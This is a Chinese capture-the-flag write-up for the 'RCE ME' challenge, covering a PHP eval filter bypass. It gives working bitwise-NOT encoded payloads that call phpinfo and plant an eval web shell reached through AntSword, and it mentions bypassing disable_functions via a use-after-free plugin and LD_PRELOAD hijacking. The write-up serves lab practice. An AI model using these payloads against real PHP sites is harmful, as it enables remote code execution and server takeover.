[极客大挑战 2019]RCE ME

知识点

  • LD_PRELOAD

题目给了源码

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

 

构造取反读取phpinfo

<?php
$s = 'phpinfo';
echo urlencode(~$s);
#%8F%97%8F%96%91%99%90
?>

payload

?code=(~%8F%97%8F%96%91%99%90)();

读取到phpinfo页面,发现disable_functions禁了很多函数

 

 

构造取反连接蚁剑

<?php
$a = 'assert';
echo urlencode(~$a)."\n";
$b = '(eval($_POST[cmd]))';
echo urlencode(~$b)."\n";
#%9E%8C%8C%9A%8D%8B
#%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6
?>

使用蚁剑连接

http://2b912c75-fe79-4450-8cd4-c8532f83e63f.node3.buuoj.cn/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

密码:cmd

看到根目录下存在flag和readflag文件

 

 

应该是通过执行readflag来读取flag,但是这里的shell命令基本上都被禁了

我们可以通过蚁剑的绕过disable_functions来执行

 

 

这里选择PHP_GC_UAF

 

 

 

以上是非预期解,参考https://www.cnblogs.com/yesec/p/12483631.html

 

预期解应为通过环境变量LD_PRELOAD+mail劫持so来执行系统命令

参考https://evoa.me/index.php/archives/62/

posted @ 2020-05-16 10:34  山野村夫z1  阅读(1413)  评论(0编辑  收藏  举报